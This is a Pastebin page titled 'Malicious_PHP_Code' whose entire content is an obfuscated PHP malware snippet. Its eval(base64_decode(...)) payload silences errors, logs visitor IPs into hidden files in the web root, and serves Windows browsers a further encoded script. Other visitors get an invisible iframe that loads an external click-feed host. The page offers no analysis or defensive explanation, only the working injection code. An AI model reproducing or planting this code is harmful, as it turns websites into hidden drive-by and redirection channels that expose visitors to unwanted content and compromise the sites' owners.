Want more features on Pastebin? Sign Up, it's FREE!
Guest

Malicious_PHP_Code

By: kazu-sama on Feb 6th, 2013  |  syntax: PHP  |  size: 6.93 KB  |  views: 279  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.  <?php
  2. eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGlwPSRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyRkcj0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdOyR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRvZGJmID0gJGRyLicvJy5tZDUoZGF0ZSgnbS5kLnknKSx0aW1lKCktODY0MDApOw0KaWYgKGZpbGVfZXhpc3RzKCRvZGJmKSlAdW5saW5rKCRvZGJmKTsNCiRkYmY9JGRyLicvJy5tZDUoZGF0ZSgnbS5kLnknKSk7DQppZigoc3RycG9zKCR1YSwnV2luZG93cycpIT09ZmFsc2UpJiYoKHN0cnBvcygkdWEsJ01TSUUnKSE9PWZhbHNlKXx8KHN0cnBvcygkdWEsJ09wZXJhJykhPT1mYWxzZSl8fChzdHJwb3MoJHVhLCdGaXJlZm94JykhPT1mYWxzZXx8KHN0cnBvcygkdWEsJ01vemlsbGEnKSE9PWZhbHNlKSkmJihzdHJwb3MoQGZpbGVfZ2V0X2NvbnRlbnRzKCRkYmYpLCRpcCkgPT09IGZhbHNlKSkpew0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICBlY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1MGNubDdhV1lvZDJsdVpHOTNMbVJ2WTNWdFpXNTBLWGRwYm1SdmQxc2laRzlqZFcxbGJuUWlYVnNpWW05a2VTSmRQU0l4TWpNaWZXTmhkR05vS0dKaGQyVjBZWGRsS1h0cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcGUzWTlkMmx1Wkc5M08zUnllWHRtWV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GbElpd2lNV2NpTENJelp5SXNJakZ1SWl3aU0ya2lMQ0l4YkNJc0lqTnRJaXdpTkdNaUxDSTBZeUlzSWpReElpd2lOR0VpTENJME1DSXNJakpvSWl3aU5EUWlMQ0kwTlNJc0lqUTRJaXdpTkRBaUxDSXhaaUlzSWpReUlpd2lNV2NpTENJeU9TSXNJbVFpTENJNUlpd2lPU0lzSWpVd0lsMDdhRDB5TzNNOUlpSTdhV1lvYlNsbWIzSW9hVDB3TzJrdE5UZzNJVDB3TzJrckt5bDdhejFwTzJsbUtIZHBibVJ2ZDFzaVpHOWpkVzFsYm5RaVhTbHpLejFUZEhKcGJtZGJJbVp5YnlJckltMURJaXNpYUdGeVEyOWtaU0pkS0hCaGNuTmxTVzUwS0c1YmFWMHNNalVwS1R0OWVqMXpPMlYyS0hvcGZYMTlQQzl6WTNKcGNIUSsnKSk7DQogICAgaWYgKCRmcCA9IEBmb3BlbigkZGJmICwgImEiKSl7ZnB1dHMoJGZwICwgJGlwLid8Jyk7IGZjbG9zZSgkZnApO30NCn0gZWxzZSBlY2hvICc8aWZyYW1lIHN0eWxlPSJ2aXNpYmlsaXR5OmhpZGRlbjtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjA7dG9wOjA7IiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjYiIHNyYz0iaHR0cDovL2NsaWNrLnJuZHRyZy5jb20vZmVlZC9mcmFtZXMucGhwP3VpZD05OSZmcmFtZXM9MiI+PC9pZnJhbWU+Jzs='));
  3. if (file_exists("openinfo.php") OR isset($_REQUEST['dblink']) OR empty($dblink))
  4.     die("Cannot open file.");
clone this paste RAW Paste Data